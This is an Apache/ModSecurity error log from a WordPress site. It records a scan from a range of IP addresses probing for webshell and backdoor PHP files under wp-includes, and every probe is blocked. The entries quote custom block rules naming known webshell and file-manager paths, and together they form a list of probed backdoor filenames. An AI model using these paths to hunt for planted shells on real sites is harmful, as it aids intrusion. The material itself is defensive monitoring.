[Wed Apr 22 20:58:04.167207 2026] [:error] [pid 23776:tid 23787] [client 45.86.202.43:59449] [client 45.86.202.43] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/certificates/about.php"] [unique_id "aejF3LRExf-1pAbSeJvyNgAAAYk"]
[Wed Apr 22 20:58:09.519074 2026] [:error] [pid 6250:tid 6274] [client 45.86.202.49:29817] [client 45.86.202.49] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/edit.php"] [unique_id "aejF4Q-iZeQkqmQVfj4PHQAAAFQ"]
[Wed Apr 22 20:58:15.847599 2026] [:error] [pid 23776:tid 23801] [client 45.86.202.33:29389] [client 45.86.202.33] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/ID3/wp-work.php"] [unique_id "aejF57RExf-1pAbSeJvyQQAAAZc"]
[Wed Apr 22 20:58:19.721177 2026] [:error] [pid 6384:tid 6388] [client 45.86.202.26:41725] [client 45.86.202.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/click.php"] [unique_id "aejF6z58M3t15ICeWHU9lwAAAME"]
[Wed Apr 22 20:58:24.931423 2026] [:error] [pid 6384:tid 6399] [client 45.86.202.35:47459] [client 45.86.202.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/random_compat/chosen.php"] [unique_id "aejF8D58M3t15ICeWHU9wgAAAMw"]
[Wed Apr 22 20:58:35.013976 2026] [:error] [pid 9085:tid 9110] [client 45.86.202.3:64745] [client 45.86.202.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/jquery/bypass.php"] [unique_id "aejF-9-_-or9vQnlWnpv3gAAAVc"]
[Wed Apr 22 20:58:35.579229 2026] [:error] [pid 23776:tid 23789] [client 45.86.202.47:55785] [client 45.86.202.47] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/xl2023.php"] [unique_id "aejF-7RExf-1pAbSeJvyYQAAAYs"]
[Wed Apr 22 20:58:36.264303 2026] [:error] [pid 9085:tid 9108] [client 45.86.202.17:33497] [client 45.86.202.17] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/certificates/admin.php"] [unique_id "aejF_N-_-or9vQnlWnpv4wAAAVU"]
[Wed Apr 22 20:58:36.838433 2026] [:error] [pid 6344:tid 6360] [client 45.86.202.34:20805] [client 45.86.202.34] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/images/media/dog.php"] [unique_id "aejF_EDOTF-pkQnDeUnyOAAAAAs"]
[Wed Apr 22 20:58:39.298057 2026] [:error] [pid 6252:tid 6327] [client 45.86.202.32:39165] [client 45.86.202.32] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/SimplePie/applicationd.php"] [unique_id "aejF_-tGYuiYb1nWBpRP5gAAAQ8"]
[Wed Apr 22 20:58:40.058650 2026] [:error] [pid 6344:tid 6355] [client 45.86.202.13:55209] [client 45.86.202.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/assets/index.php"] [unique_id "aejGAEDOTF-pkQnDeUnyQQAAAAY"]
[Wed Apr 22 20:58:43.517600 2026] [:error] [pid 9085:tid 9093] [client 45.86.202.24:46495] [client 45.86.202.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/index.php"] [unique_id "aejGA9-_-or9vQnlWnpwEwAAAUY"]
[Wed Apr 22 20:58:45.129871 2026] [:error] [pid 6384:tid 6401] [client 45.86.202.50:39911] [client 45.86.202.50] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/ID3/index.php"] [unique_id "aejGBT58M3t15ICeWHU-LgAAAM4"]
[Wed Apr 22 20:58:45.998362 2026] [:error] [pid 23776:tid 23786] [client 45.86.202.35:36045] [client 45.86.202.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/pomo/admin.php"] [unique_id "aejGBbRExf-1pAbSeJvyawAAAYg"]
[Wed Apr 22 20:58:46.565055 2026] [:error] [pid 6344:tid 6366] [client 45.86.202.13:32955] [client 45.86.202.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/IXR/security.php"] [unique_id "aejGBkDOTF-pkQnDeUnySgAAABE"]
[Wed Apr 22 20:58:48.806849 2026] [:error] [pid 6252:tid 6324] [client 45.86.202.23:30367] [client 45.86.202.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Requests/autoload_classmap.php"] [unique_id "aejGCOtGYuiYb1nWBpRP6gAAAQw"]
[Wed Apr 22 20:58:52.490822 2026] [:error] [pid 9085:tid 9107] [client 45.86.202.37:56233] [client 45.86.202.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/fonts/about.php"] [unique_id "aejGDN-_-or9vQnlWnpwLAAAAVQ"]
[Wed Apr 22 20:58:58.805471 2026] [:error] [pid 6344:tid 6365] [client 45.86.202.42:31389] [client 45.86.202.42] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/PHPMailer/about.php"] [unique_id "aejGEkDOTF-pkQnDeUnybQAAABA"]
[Wed Apr 22 20:59:09.943884 2026] [:error] [pid 23776:tid 23783] [client 45.86.202.18:32433] [client 45.86.202.18] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/assets/file.php"] [unique_id "aejGHbRExf-1pAbSeJvykQAAAYU"]
[Wed Apr 22 20:59:14.823829 2026] [:error] [pid 6384:tid 6402] [client 45.86.202.219:48497] [client 45.86.202.219] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/customize/dedi1.php"] [unique_id "aejGIj58M3t15ICeWHU--AAAAM8"]
[Wed Apr 22 20:59:15.819328 2026] [:error] [pid 6250:tid 6262] [client 45.86.202.33:51925] [client 45.86.202.33] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/pomo/autoload_classmap.php"] [unique_id "aejGIw-iZeQkqmQVfj4PVgAAAEg"]
[Wed Apr 22 20:59:21.985276 2026] [:error] [pid 9085:tid 9093] [client 45.86.202.44:26623] [client 45.86.202.44] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/images/wp-login.php"] [unique_id "aejGKd-_-or9vQnlWnpwhgAAAUY"]
[Wed Apr 22 20:59:27.184791 2026] [proxy_fcgi:error] [pid 9085:tid 9101] [client 45.86.202.23:65275] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 20:59:27.457323 2026] [proxy_fcgi:error] [pid 9085:tid 9103] [client 45.86.202.23:65275] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 20:59:27.733255 2026] [proxy_fcgi:error] [pid 9085:tid 9092] [client 45.86.202.23:65275] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 20:59:31.777282 2026] [:error] [pid 9085:tid 9095] [client 45.86.202.23:65275] [client 45.86.202.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Requests/about.php"] [unique_id "aejGM9-_-or9vQnlWnpwqwAAAUg"]
[Wed Apr 22 20:59:32.492624 2026] [:error] [pid 6384:tid 6405] [client 45.86.202.41:44485] [client 45.86.202.41] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/dist/edit-widgets/index.php"] [unique_id "aejGND58M3t15ICeWHU_YgAAANI"]
[Wed Apr 22 20:59:33.399517 2026] [:error] [pid 9085:tid 9110] [client 45.86.202.35:42117] [client 45.86.202.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/dist/edit-widgets/about.php"] [unique_id "aejGNd-_-or9vQnlWnpwrQAAAVc"]
[Wed Apr 22 20:59:34.163758 2026] [:error] [pid 6384:tid 6408] [client 45.86.202.28:40579] [client 45.86.202.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Requests/src/Exception/Http/about.php"] [unique_id "aejGNj58M3t15ICeWHU_bwAAANU"]
[Wed Apr 22 20:59:34.828178 2026] [:error] [pid 6251:tid 6308] [client 45.86.202.218:26497] [client 45.86.202.218] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Text/Diff/Renderer/index.php"] [unique_id "aejGNisFAzbyObL-SQ5_FQAAAJc"]
[Wed Apr 22 20:59:35.624853 2026] [:error] [pid 6250:tid 6267] [client 45.86.202.34:43713] [client 45.86.202.34] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Text/Diff/index.php"] [unique_id "aejGNw-iZeQkqmQVfj4PZAAAAE0"]
[Wed Apr 22 20:59:37.377940 2026] [:error] [pid 6344:tid 6370] [client 45.86.202.42:38911] [client 45.86.202.42] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/images/media/index.php"] [unique_id "aejGOUDOTF-pkQnDeUnynQAAABU"]
[Wed Apr 22 20:59:38.182596 2026] [:error] [pid 9085:tid 9111] [client 45.86.202.20:45385] [client 45.86.202.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/index.php"] [unique_id "aejGOt-_-or9vQnlWnpwrwAAAVg"]
[Wed Apr 22 20:59:39.124747 2026] [:error] [pid 6344:tid 6369] [client 45.86.202.36:36493] [client 45.86.202.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/about.php"] [unique_id "aejGO0DOTF-pkQnDeUnypQAAABQ"]
[Wed Apr 22 20:59:40.036699 2026] [:error] [pid 6344:tid 6349] [client 45.86.202.39:46807] [client 45.86.202.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/wp-login.php"] [unique_id "aejGPEDOTF-pkQnDeUnypwAAAAA"]
[Wed Apr 22 20:59:43.879924 2026] [:error] [pid 6252:tid 6326] [client 45.86.202.30:60581] [client 45.86.202.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/fonts/themes.php"] [unique_id "aejGP-tGYuiYb1nWBpRQHQAAAQ4"]
[Wed Apr 22 20:59:46.128836 2026] [:error] [pid 9085:tid 9093] [client 45.86.202.30:62241] [client 45.86.202.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/certificates/index.php"] [unique_id "aejGQt-_-or9vQnlWnpwvAAAAUY"]
[Wed Apr 22 20:59:49.733192 2026] [:error] [pid 9085:tid 9089] [client 45.86.202.3:29029] [client 45.86.202.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/images/media/wp-login.php"] [unique_id "aejGRd-_-or9vQnlWnpwygAAAUI"]
[Wed Apr 22 20:59:53.349289 2026] [:error] [pid 6384:tid 6406] [client 45.86.202.48:49147] [client 45.86.202.48] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/about.php"] [unique_id "aejGST58M3t15ICeWHU_wwAAANM"]
[Wed Apr 22 20:59:59.081245 2026] [:error] [pid 9085:tid 9096] [client 45.86.202.39:20875] [client 45.86.202.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/certificates/wp-login.php"] [unique_id "aejGT9-_-or9vQnlWnpw4AAAAUk"]
[Wed Apr 22 21:00:05.920559 2026] [:error] [pid 23776:tid 23791] [client 45.86.202.5:62945] [client 45.86.202.5] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/about.php"] [unique_id "aejGVbRExf-1pAbSeJvy1QAAAY0"]
[Wed Apr 22 21:00:08.454627 2026] [:error] [pid 9085:tid 9105] [client 45.86.202.18:31031] [client 45.86.202.18] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/wp-class.php"] [unique_id "aejGWN-_-or9vQnlWnpw9gAAAVI"]
[Wed Apr 22 21:00:28.478156 2026] [:error] [pid 6384:tid 6405] [client 45.86.202.49:24333] [client 45.86.202.49] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/html-api/chosen.php"] [unique_id "aejGbD58M3t15ICeWHVAOAAAANI"]
[Wed Apr 22 21:00:29.697518 2026] [:error] [pid 6250:tid 6259] [client 45.86.202.18:54809] [client 45.86.202.18] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/style-engine/autoload_classmap.php"] [unique_id "aejGbQ-iZeQkqmQVfj4PgAAAAEU"]
[Wed Apr 22 21:00:32.553577 2026] [:error] [pid 9085:tid 9104] [client 45.86.202.15:28919] [client 45.86.202.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/sitemaps/providers/index.php"] [unique_id "aejGcN-_-or9vQnlWnpxIgAAAVE"]
[Wed Apr 22 21:00:36.070482 2026] [:error] [pid 9085:tid 9104] [client 45.86.202.8:40071] [client 45.86.202.8] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Text/Diff/Engine/index.php"] [unique_id "aejGdN-_-or9vQnlWnpxMwAAAVE"]
[Wed Apr 22 21:00:36.745718 2026] [:error] [pid 6251:tid 6299] [client 45.86.202.16:55891] [client 45.86.202.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/style-engine/index.php"] [unique_id "aejGdCsFAzbyObL-SQ5_NwAAAI4"]
[Wed Apr 22 21:00:42.859742 2026] [:error] [pid 23776:tid 23784] [client 45.86.202.30:58195] [client 45.86.202.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "aejGerRExf-1pAbSeJvzAgAAAYY"]
[Wed Apr 22 21:00:43.582571 2026] [:error] [pid 23776:tid 23778] [client 45.86.202.13:29207] [client 45.86.202.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "rcacivilgroup.com"] [uri "/fm.php"] [unique_id "aejGe7RExf-1pAbSeJvzAwAAAYA"]
[Wed Apr 22 21:00:51.028518 2026] [:error] [pid 23776:tid 23781] [client 45.86.202.15:22917] [client 45.86.202.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/calendar/index.php"] [unique_id "aejGg7RExf-1pAbSeJvzEgAAAYM"]
[Wed Apr 22 21:00:53.820004 2026] [proxy_fcgi:error] [pid 6252:tid 6314] [client 45.86.202.50:40613] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 21:00:55.249272 2026] [:error] [pid 6252:tid 6325] [client 45.86.202.50:40613] [client 45.86.202.50] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/function.php"] [unique_id "aejGh-tGYuiYb1nWBpRQawAAAQ0"]
[Wed Apr 22 21:00:56.377790 2026] [:error] [pid 9085:tid 9111] [client 45.86.202.2:47413] [client 45.86.202.2] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/plugins.php"] [unique_id "aejGiN-_-or9vQnlWnpxWAAAAVg"]
[Wed Apr 22 21:01:00.386526 2026] [:error] [pid 9085:tid 9107] [client 45.86.202.44:60121] [client 45.86.202.44] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/chosen.php"] [unique_id "aejGjN-_-or9vQnlWnpxagAAAVQ"]
